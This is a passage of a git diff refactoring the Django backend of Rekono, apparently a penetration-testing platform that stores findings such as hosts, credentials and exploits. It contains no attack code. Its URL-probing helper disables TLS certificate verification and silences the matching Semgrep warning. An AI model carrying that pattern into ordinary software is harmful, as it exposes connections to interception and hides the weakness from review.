-from targets.serializers import TargetSerializer - -from findings.enums import DataType -from findings.filters import (CredentialFilter, ExploitFilter, HostFilter, - OSINTFilter, PathFilter, PortFilter, - TechnologyFilter, VulnerabilityFilter) -from findings.models import (OSINT, Credential, Exploit, Finding, Host, Path, - Port, Technology, Vulnerability) -from findings.serializers import (CredentialSerializer, ExploitSerializer, - HostSerializer, OSINTSerializer, - PathSerializer, PortSerializer, - TechnologySerializer, - VulnerabilitySerializer) - -# Create your views here. - - -class FindingBaseView(GenericViewSet, ListModelMixin, RetrieveModelMixin, DestroyModelMixin): - '''Common finding ViewSet that includes: get, retrieve, enable and disable features.''' - - # Replace DjangoFilterBackend by RekonoFilterBackend to allow filters by N-M relations like 'executions' field. - filter_backends = [RekonoFilterBackend, SearchFilter, OrderingFilter] - members_field = 'executions__task__target__project__members' - - def destroy(self, request: Request, *args: Any, **kwargs: Any) -> Response: - '''Disable finding. - - Args: - request (Request): Received HTTP request - - Returns: - Response: HTTP response - ''' - finding: Finding = self.get_object() - finding.is_active = False - finding.save(update_fields=['is_active']) - return Response(status=status.HTTP_204_NO_CONTENT) - - @extend_schema(request=None, responses={201: None}) - @action(detail=True, methods=['POST'], url_path='enable', url_name='enable') - def enable(self, request: Request, pk: str) -> Response: - '''Enable finding. - - Args: - request (Request): Received HTTP request - pk (str): Instance Id - - Returns: - Response: HTTP response - ''' - finding: Finding = self.get_object() - finding.is_active = True - finding.save(update_fields=['is_active']) - return Response(status=status.HTTP_201_CREATED) - - -class OSINTViewSet(FindingBaseView): - '''OSINT ViewSet that includes: get, retrieve, enable, disable, import in DD and target creation features.''' - - queryset = OSINT.objects.all().order_by('-id') - serializer_class = OSINTSerializer - filterset_class = OSINTFilter - search_fields = ['data', 'source'] # Fields used to search OSINTs - - @extend_schema(request=None, responses={201: TargetSerializer}) - @action(detail=True, methods=['POST'], url_path='target', url_name='target') - def target(self, request: Request, pk: str) -> Response: - '''Target creation from OSINT data. - - Args: - request (Request): Received HTTP request - pk (str): Instance Id - - Returns: - Response: HTTP response - ''' - osint = self.get_object() - if osint.data_type in [DataType.IP, DataType.DOMAIN]: # Only supported for IPs and Domains - serializer = TargetSerializer(data={'project': osint.get_project().id, 'target': osint.data}) - if serializer.is_valid(): - target = serializer.create(serializer.validated_data) # Target creation - return Response(TargetSerializer(target).data, status=status.HTTP_201_CREATED) - return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) - return Response( - {'data_type': ['Unsupported option for this OSINT data type']}, status=status.HTTP_400_BAD_REQUEST - ) - - -class HostViewSet(FindingBaseView): - '''Host ViewSet that includes: get, retrieve, enable, disable and import Defect-Dojo features.''' - - queryset = Host.objects.all().order_by('-id') - serializer_class = HostSerializer - filterset_class = HostFilter - search_fields = ['address'] # Fields used to search Hosts - - -class PortViewSet(FindingBaseView): - '''Port ViewSet that includes: get, retrieve, enable, disable and import Defect-Dojo features.''' - - queryset = Port.objects.all().order_by('-id') - serializer_class = PortSerializer - filterset_class = PortFilter - search_fields = ['port', 'service'] # Fields used to search Ports - - -class PathViewSet(FindingBaseView): - '''Path ViewSet that includes: get, retrieve, enable, disable and import Defect-Dojo features.''' - - queryset = Path.objects.all().order_by('-id') - serializer_class = PathSerializer - filterset_class = PathFilter - search_fields = ['path'] # Fields used to search Paths - - -class TechnologyViewSet(FindingBaseView): - '''Technology ViewSet that includes: get, retrieve, enable, disable and import Defect-Dojo features.''' - - queryset = Technology.objects.all().order_by('-id') - serializer_class = TechnologySerializer - filterset_class = TechnologyFilter - search_fields = ['name', 'version'] # Fields used to search Technologies - - -class CredentialViewSet(FindingBaseView): - '''Credential ViewSet that includes: get, retrieve, enable, disable and import Defect-Dojo features.''' - - queryset = Credential.objects.all().order_by('-id') - serializer_class = CredentialSerializer - filterset_class = CredentialFilter - search_fields = ['email', 'username'] # Fields used to search Credentials - - -class VulnerabilityViewSet(FindingBaseView): - '''Vulnerability ViewSet that includes: get, retrieve, enable, disable and import Defect-Dojo features.''' - - queryset = Vulnerability.objects.all().order_by('-id') - serializer_class = VulnerabilitySerializer - filterset_class = VulnerabilityFilter - search_fields = ['name', 'description', 'cve', 'cwe'] # Fields used to search Vulnerabilities - - -class ExploitViewSet(FindingBaseView): - '''Exploit ViewSet that includes: get, retrieve, enable, disable and import Defect-Dojo features.''' - - queryset = Exploit.objects.all().order_by('-id') - serializer_class = ExploitSerializer - filterset_class = ExploitFilter - search_fields = ['title', 'edb_id', 'reference'] # Fields used to search Exploits diff --git a/src/backend/authentications/migrations/__init__.py b/src/backend/framework/__init__.py similarity index 100% rename from src/backend/authentications/migrations/__init__.py rename to src/backend/framework/__init__.py diff --git a/src/backend/framework/enums.py b/src/backend/framework/enums.py new file mode 100644 index 000000000..6c5e11a7b --- /dev/null +++ b/src/backend/framework/enums.py @@ -0,0 +1,25 @@ +from enum import Enum + + +class InputKeyword(Enum): + """List of keywords that can be included in tool argument patterns to include BaseInput data.""" + + TARGET = 1 + HOST = 2 + PORT = 3 + PORTS = 4 + PORTS_COMMAS = 5 + TECHNOLOGY = 6 + VERSION = 7 + ENDPOINT = 8 + URL = 9 + EMAIL = 10 + USERNAME = 11 + SECRET = 12 + CVE = 13 + EXPLOIT = 14 + WORDLIST = 15 + COOKIE_NAME = 16 + TOKEN = 17 + CREDENTIAL_TYPE = 18 + CREDENTIAL_TYPE_LOWER = 19 diff --git a/src/backend/framework/fields.py b/src/backend/framework/fields.py new file mode 100644 index 000000000..db132afa3 --- /dev/null +++ b/src/backend/framework/fields.py @@ -0,0 +1,42 @@ +from django.forms import ValidationError +from drf_spectacular.types import OpenApiTypes +from drf_spectacular.utils import extend_schema_field +from rest_framework.serializers import Field +from security.input_validation import validate_secret +from taggit.serializers import TagListSerializerField + + +@extend_schema_field({"type": "array", "items": {"type": "string"}}) +class TagField(TagListSerializerField): + """Internal serializer field for TagListSerializerField, including API documentation.""" + + pass + + +@extend_schema_field(OpenApiTypes.STR) +class ProtectedSecretField(Field): + """Serializer field to manage protected system values.""" + + def to_representation(self, value: str) -> str: + """Return text value to send to the client. + + Args: + value (str): Internal text value + + Returns: + str: Text value that contains multiple '*' characters + """ + return "*" * len(value) + + def to_internal_value(self, value: str) -> str: + """Return text value to be stored in database. + + Args: + value (str): Text value provided by the client + + Returns: + str: Text value to be stored. Save value than the provided one. + """ + if validate_secret(value): + return value + raise ValidationError(["Value contains unallowed characters"]) diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py new file mode 100644 index 000000000..f93462b1c --- /dev/null +++ b/src/backend/framework/models.py @@ -0,0 +1,120 @@ +from typing import Any, Dict, List, Optional + +import requests +import urllib3 +from django.db import models + + +class BaseInput(models.Model): + """Class to be extended by all the objects that can be used in tool executions as argument.""" + + class Meta: + """Model metadata.""" + + abstract = True # To be extended by models that can be used in tool executions as argument + + class Filter: + def __init__( + self, + type: type, + field: str, + contains: bool = False, + processor: callable = None, + ) -> None: + self.type = type + self.field = field + self.contains = contains + self.processor = processor + + filters: List[Filter] = [] + + def _get_url( + self, + host: str, + port: int = None, + endpoint: str = "", + protocols: List[str] = ["http", "https"], + ) -> Optional[str]: + """Get a HTTP or HTTPS URL from host, port and endpoint. + + Args: + host (str): Host to include in the URL + port (int, optional): Port to include in the URL. Defaults to None. + endpoint (str, optional): Endpoint to include in the URL. Defaults to ''. + protocols (List[str], optional): Protocol list to check. Defaults to ['http', 'https']. + + Returns: + Optional[str]: [description] + """ + urllib3.disable_warnings(category=urllib3.exceptions.InsecureRequestWarning) + schema = "{protocol}://{host}/{endpoint}" + if port: + schema = "{protocol}://{host}:{port}/{endpoint}" # Include port schema if port exists + for protocol in protocols: # For each protocol + url_to_test = schema.format( + protocol=protocol, host=host, port=port, endpoint=endpoint + ) + try: + # nosemgrep: python.requests.security.disabled-cert-validation.disabled-cert-validation + requests.get(url_to_test, timeout=5, verify=False) + return url_to_test + except Exception: + continue + return None + + def _compare_filter( + self, filter: Any, value: Any, negative: bool = False, contains: bool = False + ) -> bool: + comparison = lambda f, v: f == v if not contains else f in v + return ( + comparison(filter, value) if not negative else not comparison(filter, value) + ) + + def filter(self, input: Any) -> bool: + """Check if this instance is valid based on input filter. + + Args: + input (Any): Tool input whose filter will be applied + + Returns: + bool: Indicate if this instance match the input filter or not + """ + if not input.filter: + return True + for filter_value in input.filter.split(" or "): + negative = filter_value.startswith("!") + if negative: + filter_value = filter_value[1:] + for filter in self.filters: + field_value = getattr(self, filter.field) + if filter.processor: + field_value = filter.processor(field_value) + try: + if ( + issubclass(filter.type, models.TextChoices) + and self._compare_filter( + filter.type[filter_value.upper()], field_value, negative + ) + ) or self._compare_filter( + filter.type(getattr(self, filter_value)), + field_value, + negative, + filter.contains, + ): + return True + except (ValueError, KeyError): + pass + return False + + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + """Get useful information from this instance to be used in tool execution as argument. + + To be implemented by subclasses. + + Args: + accumulated (Dict[str, Any], optional): Information from other instances of the same type. Defaults to {}. + + Returns: + Dict[str, Any]: Useful information for tool executions, including accumulated if setted + """ + return {} # pragma: no cover diff --git a/src/backend/framework/pagination.py b/src/backend/framework/pagination.py new file mode 100644 index 000000000..da850cca3 --- /dev/null +++ b/src/backend/framework/pagination.py @@ -0,0 +1,10 @@ +from rest_framework.pagination import PageNumberPagination + + +class Pagination(PageNumberPagination): + """Pagination configuration for API Rest.""" + + page_query_param = "page" # Page parameter + page_size_query_param = "size" # Size parameter + page_size = 25 # Default page size + max_page_size = 1000 # Max page size diff --git a/src/backend/framework/views.py b/src/backend/framework/views.py new file mode 100644 index 000000000..d76cf70e3 --- /dev/null +++ b/src/backend/framework/views.py @@ -0,0 +1,12 @@ +from rest_framework.viewsets import ModelViewSet + + +class BaseViewSet(ModelViewSet): + ordering = ["-id"] + # Required to remove PATCH method + http_method_names = [ + "get", + "post", + "put", + "delete", + ] diff --git a/src/backend/input_types/__init__.py b/src/backend/input_types/__init__.py index 3abfab9de..e69de29bb 100644 --- a/src/backend/input_types/__init__.py +++ b/src/backend/input_types/__init__.py @@ -1 +0,0 @@ -'''Common features for all Input Types (Targets, Findings and Resources).''' diff --git a/src/backend/input_types/apps.py b/src/backend/input_types/apps.py index dbe3717a4..0d4e3c5b2 100644 --- a/src/backend/input_types/apps.py +++ b/src/backend/input_types/apps.py @@ -9,19 +9,19 @@ class InputTypesConfig(AppConfig): - '''Input types Django application.''' - name = 'input_types' + name = "input_types" def ready(self) -> None: - '''Run code as soon as the registry is fully populated.''' + """Run code as soon as the registry is fully populated.""" # Configure fixtures to be loaded after migration post_migrate.connect(self.load_input_types_model, sender=self) def load_input_types_model(self, **kwargs: Any) -> None: - '''Load input types fixtures in database.''' - path = os.path.join(Path(__file__).resolve().parent, 'fixtures') # Path to fixtures directory + """Load input types fixtures in database.""" + # Path to fixtures directory + path = os.path.join(Path(__file__).resolve().parent, "fixtures") + # Load nput types entities management.call_command( - loaddata.Command(), - os.path.join(path, '1_input_types.json') # Input types entities + loaddata.Command(), os.path.join(path, "1_input_types.json") ) diff --git a/src/backend/input_types/base.py b/src/backend/input_types/base.py deleted file mode 100644 index fd64df70e..000000000 --- a/src/backend/input_types/base.py +++ /dev/null @@ -1,29 +0,0 @@ -from typing import Any, Dict - - -class BaseInput: - '''Class to be extended by all the objects that can be used in tool executions as argument.''' - - def filter(self, input: Any) -> bool: - '''Check if this instance is valid based on input filter. - - Args: - input (Any): Tool input whose filter will be applied - - Returns: - bool: Indicate if this instance match the input filter or not - ''' - return True - - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: - '''Get useful information from this instance to be used in tool execution as argument. - - To be implemented by subclasses. - - Args: - accumulated (Dict[str, Any], optional): Information from other instances of the same type. Defaults to {}. - - Returns: - Dict[str, Any]: Useful information for tool executions, including accumulated if setted - ''' - return {} # pragma: no cover diff --git a/src/backend/input_types/enums.py b/src/backend/input_types/enums.py index 9ccc02ddd..f2b45243c 100644 --- a/src/backend/input_types/enums.py +++ b/src/backend/input_types/enums.py @@ -1,41 +1,16 @@ -from enum import Enum - from django.db import models -class InputTypeNames(models.TextChoices): - '''Input type names, related to findings and resources.''' - - OSINT = 'OSINT' - HOST = 'Host' - PORT = 'Port' - PATH = 'Path' - TECHNOLOGY = 'Technology' - VULNERABILITY = 'Vulnerability' - EXPLOIT = 'Exploit' - CREDENTIAL = 'Credential' - WORDLIST = 'Wordlist' - - -class InputKeyword(Enum): - '''List of keywords that can be included in tool argument patterns to include BaseInput data.''' +class InputTypeName(models.TextChoices): + """Input type names, related to findings and resources.""" - TARGET = 1 - HOST = 2 - PORT = 3 - PORTS = 4 - PORTS_COMMAS = 5 - TECHNOLOGY = 6 - VERSION = 7 - ENDPOINT = 8 - URL = 9 - EMAIL = 10 - USERNAME = 11 - SECRET = 12 - CVE = 13 - EXPLOIT = 14 - WORDLIST = 15 - COOKIE_NAME = 16 - TOKEN = 17 - CREDENTIAL_TYPE = 18 - CREDENTIAL_TYPE_LOWER = 19 + OSINT = "OSINT" + HOST = "Host" + PORT = "Port" + PATH = "Path" + TECHNOLOGY = "Technology" + VULNERABILITY = "Vulnerability" + EXPLOIT = "Exploit" + CREDENTIAL = "Credential" + WORDLIST = "Wordlist" + AUTHENTICATION = "Authentication" diff --git a/src/backend/input_types/fixtures/1_input_types.json b/src/backend/input_types/fixtures/1_input_types.json index 3e99e8d68..9ffba7440 100644 --- a/src/backend/input_types/fixtures/1_input_types.json +++ b/src/backend/input_types/fixtures/1_input_types.json @@ -6,7 +6,7 @@ "name": "OSINT", "model": "findings.osint", "callback_model": null, - "regular": true + "relationships": true } }, { @@ -16,7 +16,7 @@ "name": "Host", "model": "findings.host", "callback_model": "targets.target", - "regular": true + "relationships": true } }, { @@ -26,7 +26,7 @@ "name": "Port", "model": "findings.port", "callback_model": "targets.targetport", - "regular": true + "relationships": true } }, { @@ -36,7 +36,7 @@ "name": "Path", "model": "findings.path", "callback_model": null, - "regular": true + "relationships": true } }, { @@ -46,7 +46,7 @@ "name": "Technology", "model": "findings.technology", "callback_model": "parameters.inputtechnology", - "regular": true + "relationships": true } }, { @@ -56,7 +56,7 @@ "name": "Vulnerability", "model": "findings.vulnerability", "callback_model": "parameters.inputvulnerability", - "regular": true + "relationships": true } }, { @@ -66,7 +66,7 @@ "name": "Credential", "model": "findings.credential", "callback_model": null, - "regular": true + "relationships": true } }, { @@ -76,7 +76,7 @@ "name": "Exploit", "model": "findings.exploit", "callback_model": null, - "regular": true + "relationships": true } }, { @@ -86,7 +86,7 @@ "name": "Wordlist", "model": null, "callback_model": "resources.wordlist", - "regular": true + "relationships": true } }, { @@ -96,7 +96,7 @@ "name": "Authentication", "model": "authentications.authentication", "callback_model": null, - "regular": false + "relationships": false } } ] \ No newline at end of file diff --git a/src/backend/input_types/migrations/0001_initial.py b/src/backend/input_types/migrations/0001_initial.py deleted file mode 100644 index 72a5c1eec..000000000 --- a/src/backend/input_types/migrations/0001_initial.py +++ /dev/null @@ -1,23 +0,0 @@ -# Generated by Django 3.2.12 on 2022-03-20 11:45 - -from django.db import migrations, models - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - ] - - operations = [ - migrations.CreateModel( - name='InputType', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('name', models.TextField(choices=[('OSINT', 'Osint'), ('Host', 'Host'), ('Port', 'Port'), ('Path', 'Path'), ('Technology', 'Technology'), ('Vulnerability', 'Vulnerability'), ('Exploit', 'Exploit'), ('Credential', 'Credential'), ('Wordlist', 'Wordlist')], max_length=15)), - ('related_model', models.TextField(blank=True, max_length=30, null=True)), - ('callback_target', models.TextField(blank=True, max_length=15, null=True)), - ], - ), - ] diff --git a/src/backend/input_types/migrations/0002_auto_20221226_0011.py b/src/backend/input_types/migrations/0002_auto_20221226_0011.py deleted file mode 100644 index f3404c492..000000000 --- a/src/backend/input_types/migrations/0002_auto_20221226_0011.py +++ /dev/null @@ -1,28 +0,0 @@ -# Generated by Django 3.2.16 on 2022-12-25 23:11 - -from django.db import migrations, models - - -class Migration(migrations.Migration): - - dependencies = [ - ('input_types', '0001_initial'), - ] - - operations = [ - migrations.RenameField( - model_name='inputtype', - old_name='callback_target', - new_name='callback_model', - ), - migrations.RenameField( - model_name='inputtype', - old_name='related_model', - new_name='model', - ), - migrations.AddField( - model_name='inputtype', - name='regular', - field=models.BooleanField(default=True), - ), - ] diff --git a/src/backend/input_types/migrations/__init__.py b/src/backend/input_types/migrations/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/src/backend/input_types/models.py b/src/backend/input_types/models.py index 456a56f3a..0b7c8bd3f 100644 --- a/src/backend/input_types/models.py +++ b/src/backend/input_types/models.py @@ -1,57 +1,82 @@ -from typing import Union +from typing import List, Self, Union from django.apps import apps from django.db import models - -from input_types.base import BaseInput -from input_types.enums import InputTypeNames +from framework.models import BaseInput +from input_types.enums import InputTypeName # Create your models here. class InputType(models.Model): - '''Input type model, related to each object type that can be included in a tool argument.''' + """Input type model, related to each object type that can be included in a tool argument.""" - name = models.TextField(max_length=15, choices=InputTypeNames.choices) # Input type name + name = models.TextField(max_length=15, choices=InputTypeName.choices) # Related model name in 'app.Model' format. It can be a reference to a Finding model = models.TextField(max_length=30, null=True, blank=True) # Related callback model name in 'app.Model' format. It will be used when 'model' is not available callback_model = models.TextField(max_length=15, null=True, blank=True) # Indicate if the input type should be included to calculate relations between models and executions - regular = models.BooleanField(default=True) + relationships = models.BooleanField(default=True) def __str__(self) -> str: - '''Instance representation in text format. + """Instance representation in text format. Returns: str: String value that identifies this instance - ''' + """ return self.name - def get_class_from_reference(self, reference: str) -> BaseInput: - '''Get model from string reference. + def _get_class_from_reference(self, reference: str) -> BaseInput: + """Get model from string reference. Args: reference (str): Reference to model Returns: Union[BaseInput, None]: Model class related to reference - ''' - app_label, model_name = reference.split('.', 1) # Get model attributes from reference + """ + if not reference: + return None + app_label, model_name = reference.split( + ".", 1 + ) # Get model attributes from reference return apps.get_model(app_label=app_label, model_name=model_name) def get_model_class(self) -> Union[BaseInput, None]: - '''Get related model from 'model' reference. + """Get related model from 'model' reference. Returns: BaseInput: Related model of the input type - ''' - return self.get_class_from_reference(self.model) if self.model else None + """ + return self._get_class_from_reference(self.model) def get_callback_model_class(self) -> Union[BaseInput, None]: - '''Get callback model from 'callback_model' reference. + """Get callback model from 'callback_model' reference. Returns: BaseInput: Callback model of the input type - ''' - return self.get_class_from_reference(self.callback_model) if self.callback_model else None + """ + return self._get_class_from_reference(self.callback_model) + + def get_related_input_types(self) -> List[Self]: + """Get relations between the different input types. + + Returns: + Dict[InputType, List[InputType]]: Dict with a list of related input types for each input type + """ + relations: List[InputType] = [] + model = self.get_model_class() + if model: + for field in model._meta.get_fields(): # For each model field + # Check if field is a ForeignKey to a BaseInput model + if field.__class__ == models.ForeignKey and issubclass( + field.related_model, BaseInput + ): + # Search InputType by model + related_type = InputType.objects.filter( + model=f"{field.related_model._meta.app_label}.{field.related_model._meta.model_name}" + ) + if related_type.exists(): + relations.append(related_type.first()) + return relations diff --git a/src/backend/input_types/serializers.py b/src/backend/input_types/serializers.py index d865c4434..69fe65e90 100644 --- a/src/backend/input_types/serializers.py +++ b/src/backend/input_types/serializers.py @@ -1,13 +1,16 @@ -from rest_framework import serializers - from input_types.models import InputType +from rest_framework.serializers import ModelSerializer -class InputTypeSerializer(serializers.ModelSerializer): - '''Serializer to get the input type data via API.''' +class InputTypeSerializer(ModelSerializer): + """Serializer to get the input type data via API.""" class Meta: - '''Serializer metadata.''' + """Serializer metadata.""" model = InputType - fields = ('name', 'model', 'callback_model') # Input type fields exposed via API + fields = ( + "name", + "model", + "callback_model", + ) diff --git a/src/backend/input_types/utils.py b/src/backend/input_types/utils.py deleted file mode 100644 index 51c691786..000000000 --- a/src/backend/input_types/utils.py +++ /dev/null @@ -1,60 +0,0 @@ -from typing import Dict, List, Optional - -import requests -import urllib3 -from django.db import models -from input_types.base import BaseInput -from input_types.models import InputType -from urllib3.exceptions import InsecureRequestWarning - -urllib3.disable_warnings(category=InsecureRequestWarning) - - -def get_url(host: str, port: int = None, endpoint: str = '', protocols: List[str] = ['http', 'https']) -> Optional[str]: - '''Get a HTTP or HTTPS URL from host, port and endpoint. - - Args: - host (str): Host to include in the URL - port (int, optional): Port to include in the URL. Defaults to None. - endpoint (str, optional): Endpoint to include in the URL. Defaults to ''. - protocols (List[str], optional): Protocol list to check. Defaults to ['http', 'https']. - - Returns: - Optional[str]: [description] - ''' - schema = '{protocol}://{host}/{endpoint}' - if port: - schema = '{protocol}://{host}:{port}/{endpoint}' # Include port schema if port exists - for protocol in protocols: # For each protocol - url_to_test = schema.format(protocol=protocol, host=host, port=port, endpoint=endpoint) - try: - # nosemgrep: python.requests.security.disabled-cert-validation.disabled-cert-validation - requests.get(url_to_test, timeout=5, verify=False) # Test URL connection - return url_to_test - except Exception: - continue - return None - - -def get_relations_between_input_types() -> Dict[InputType, List[InputType]]: - '''Get relations between the different input types. - - Returns: - Dict[InputType, List[InputType]]: Dict with a list of related input types for each input type - ''' - relations: Dict[InputType, List[InputType]] = {} - input_types = InputType.objects.filter(regular=True).order_by('-id').all() # Get all input types - for it in input_types: # For each input type - relations[it] = [] - model = it.get_model_class() - if model: - for field in model._meta.get_fields(): # For each model field - # Check if field is a ForeignKey to a BaseInput model - if field.__class__ == models.ForeignKey and issubclass(field.related_model, BaseInput): - # Search InputType by model - related_type = InputType.objects.filter( - model=f'{field.related_model._meta.app_label}.{field.related_model._meta.model_name}' - ) - if related_type.exists(): - relations[it].append(related_type.first()) - return relations diff --git a/src/backend/likes/__init__.py b/src/backend/likes/__init__.py deleted file mode 100644 index 28c20c06d..000000000 --- a/src/backend/likes/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Common features for all objects with Likes.''' diff --git a/src/backend/likes/filters.py b/src/backend/likes/filters.py deleted file mode 100644 index 661d04cff..000000000 --- a/src/backend/likes/filters.py +++ /dev/null @@ -1,27 +0,0 @@ -from django.db.models import Q, QuerySet -from django_filters.rest_framework import FilterSet, filters - - -class LikeFilter(FilterSet): - '''Filter that allows queryset filtering based on current user likes.''' - - # Indicate if user likes or not the entities - liked = filters.BooleanFilter(method='get_liked_items') - - def get_liked_items(self, queryset: QuerySet, name: str, value: bool) -> QuerySet: - '''Filter queryset based on current user likes. - - Args: - queryset (QuerySet): Queryset to be filtered - name (str): Field name. Not used in this case - value (bool): Indicate if current user likes or not the entities - - Returns: - QuerySet: Queryset filtered by the current user likes - ''' - liked = {'liked_by': self.request.user} - if value: - liked = Q(**liked) # Get entities liked by the user - else: - liked = ~Q(**liked) # Get entities disliked by the user - return queryset.filter(liked).all() diff --git a/src/backend/likes/models.py b/src/backend/likes/models.py deleted file mode 100644 index 178dda1b5..000000000 --- a/src/backend/likes/models.py +++ /dev/null @@ -1,17 +0,0 @@ -from django.conf import settings -from django.db import models - -# Create your models here. - - -class LikeBase(models.Model): - '''Common and abstract LikeBase model, to define common fields for all models that user can like.''' - - # Relation with all users that likes each entity - liked_by = models.ManyToManyField(settings.AUTH_USER_MODEL, related_name='liked_%(class)s') - - class Meta: - '''Model metadata.''' - - # To be extended by models that can be liked - abstract = True diff --git a/src/backend/likes/serializers.py b/src/backend/likes/serializers.py deleted file mode 100644 index f992eedef..000000000 --- a/src/backend/likes/serializers.py +++ /dev/null @@ -1,39 +0,0 @@ -from typing import Any - -from rest_framework import serializers -from users.models import User - - -class LikeBaseSerializer(serializers.Serializer): - '''Common serializer for all models that can be liked.''' - - # Field that indicates if the current user likes or not each entity - liked = serializers.SerializerMethodField(method_name='is_liked_by_user', read_only=True) - # Field that indicates the number of likes for each entity - likes = serializers.SerializerMethodField(method_name='count_likes', read_only=True) - - def is_liked_by_user(self, instance: Any) -> bool: - '''Check if an instance is liked by the current user or not. - - Args: - instance (Any): Instance to check - - Returns: - bool: Indicate if the current user likes this instance or not - ''' - check_likes = { # Filter users by Id and liked entities - 'pk': self.context.get('request').user.id, - f'liked_{instance.__class__.__name__.lower()}': instance - } - return User.objects.filter(**check_likes).exists() - - def count_likes(self, instance: Any) -> int: - '''Count number of likes for an instance. - - Args: - instance (Any): Instance to check - - Returns: - int: Number of likes for this instance - ''' - return instance.liked_by.count() diff --git a/src/backend/likes/views.py b/src/backend/likes/views.py deleted file mode 100644 index ed0dfca5b..000000000 --- a/src/backend/likes/views.py +++ /dev/null @@ -1,79 +0,0 @@ -from django.db.models import Count, QuerySet -from drf_spectacular.utils import extend_schema -from rest_framework import status -from rest_framework.decorators import action -from rest_framework.permissions import IsAuthenticated -from rest_framework.request import Request -from rest_framework.response import Response -from rest_framework.viewsets import GenericViewSet -from security.authorization.permissions import IsAuditor -from users.models import User - -# Create your views here. - - -class LikeManagementView(GenericViewSet): - '''Base ViewSet that includes the like and dislike features.''' - - def get_queryset(self) -> QuerySet: - '''Get the model queryset. It's required for allow the access to the likes count by the child ViewSets. - - Returns: - QuerySet: Model queryset - ''' - return super().get_queryset().annotate(likes_count=Count('liked_by')) - - @extend_schema(request=None, responses={201: None}) - # Permission classes are overrided to IsAuthenticated and IsAuditor, because currently only Tools, Processes and - # Resources (Wordlists) can be liked, and auditors and admins are the only ones that can see this resources. - # Permission classes should be overrided here, because if not, the standard permissions would be applied, and not - # all auditors can make POST requests to resources like these. - @action( - detail=True, - methods=['POST'], - url_path='like', - url_name='like', - permission_classes=[IsAuthenticated, IsAuditor] - ) - def like(self, request: Request, pk: str) -> Response: - '''Mark an instance as liked by the current user. - - Args: - request (Request): Received HTTP request - pk (str): Instance Id - - Returns: - Response: HTTP Response - ''' - instance = self.get_object() - instance.liked_by.add(request.user) # Add user like - return Response(status=status.HTTP_201_CREATED) - - @extend_schema(request=None, responses={204: None}) - # Permission classes is overrided to IsAuthenticated and IsAuditor, because currently only Tools, Processes and - # Resources (Wordlists) can be liked, and auditors and admins are the only ones that can see this resources. - # Permission classes should be overrided here, because if not, the standard permissions would be applied, and not - # all auditors can make POST requests to resources like these. - @action( - detail=True, - methods=['POST'], - url_path='dislike', - url_name='dislike', - permission_classes=[IsAuthenticated, IsAuditor] - ) - def dislike(self, request: Request, pk: str) -> Response: - '''Unmark an instance as liked by the current user. - - Args: - request (Request): Received HTTP request - pk (str): Instance Id - - Returns: - Response: HTTP Response - ''' - instance = self.get_object() - user: User = request.user - instance.liked_by.remove(user) # Remove user like - # Remove instance from liked instances by user - getattr(user, f'liked_{instance.__class__.__name__.lower()}').remove(instance) - return Response(status=status.HTTP_204_NO_CONTENT) diff --git a/src/backend/manage.py b/src/backend/manage.py index 507b9296b..7e2304a10 100755 --- a/src/backend/manage.py +++ b/src/backend/manage.py @@ -1,12 +1,12 @@ #!/usr/bin/env python -'''Django's command-line utility for administrative tasks.''' +"""Django's command-line utility for administrative tasks.""" import os import sys def main(): - '''Run administrative tasks.''' - os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'rekono.settings') + """Run administrative tasks.""" + os.environ.setdefault("DJANGO_SETTINGS_MODULE", "rekono.settings") try: from django.core.management import execute_from_command_line except ImportError as exc: @@ -18,5 +18,5 @@ def main(): execute_from_command_line(sys.argv) -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/src/backend/parameters/__init__.py b/src/backend/parameters/__init__.py index 779c1181c..e69de29bb 100644 --- a/src/backend/parameters/__init__.py +++ b/src/backend/parameters/__init__.py @@ -1 +0,0 @@ -'''Parameters.''' diff --git a/src/backend/parameters/admin.py b/src/backend/parameters/admin.py index 4a427cd46..3d455bef2 100644 --- a/src/backend/parameters/admin.py +++ b/src/backend/parameters/admin.py @@ -1,5 +1,4 @@ from django.contrib import admin - from parameters.models import InputTechnology, InputVulnerability # Register your models here. diff --git a/src/backend/parameters/apps.py b/src/backend/parameters/apps.py index 562e172f5..b3ed16382 100644 --- a/src/backend/parameters/apps.py +++ b/src/backend/parameters/apps.py @@ -2,6 +2,4 @@ class ParametersConfig(AppConfig): - '''Parameters Django application.''' - - name = 'parameters' + name = "parameters" diff --git a/src/backend/parameters/filters.py b/src/backend/parameters/filters.py index 64f4141d4..36ef270db 100644 --- a/src/backend/parameters/filters.py +++ b/src/backend/parameters/filters.py @@ -1,37 +1,31 @@ -from django_filters import rest_framework -from django_filters.rest_framework.filters import OrderingFilter - +from django_filters.rest_framework import FilterSet from parameters.models import InputTechnology, InputVulnerability -class InputTechnologyFilter(rest_framework.FilterSet): - '''FilterSet to filter and sort input Technology entities.''' - - o = OrderingFilter(fields=('target', 'name')) # Ordering fields +class InputTechnologyFilter(FilterSet): + """FilterSet to filter and sort input Technology entities.""" class Meta: - '''FilterSet metadata.''' - model = InputTechnology - fields = { # Filter fields - 'target': ['exact'], - 'target__target': ['exact'], - 'name': ['exact', 'icontains'], - 'version': ['exact', 'icontains'], + fields = { # Filter fields + "target": ["exact"], + "target__project": ["exact"], + "target__project__name": ["exact", "icontains"], + "target__target": ["exact"], + "name": ["exact", "icontains"], + "version": ["exact", "icontains"], } -class InputVulnerabilityFilter(rest_framework.FilterSet): - '''FilterSet to filter and sort input Vulnerability entities.''' - - o = OrderingFilter(fields=('target', 'cve')) # Ordering fields +class InputVulnerabilityFilter(FilterSet): + """FilterSet to filter and sort input Vulnerability entities.""" class Meta: - '''FilterSet metadata.''' - model = InputVulnerability - fields = { # Filter fields - 'target': ['exact'], - 'target__target': ['exact'], - 'cve': ['exact'] + fields = { # Filter fields + "target": ["exact"], + "target__project": ["exact"], + "target__project__name": ["exact", "icontains"], + "target__target": ["exact"], + "cve": ["exact"], } diff --git a/src/backend/parameters/migrations/0001_initial.py b/src/backend/parameters/migrations/0001_initial.py deleted file mode 100644 index 762467ee3..000000000 --- 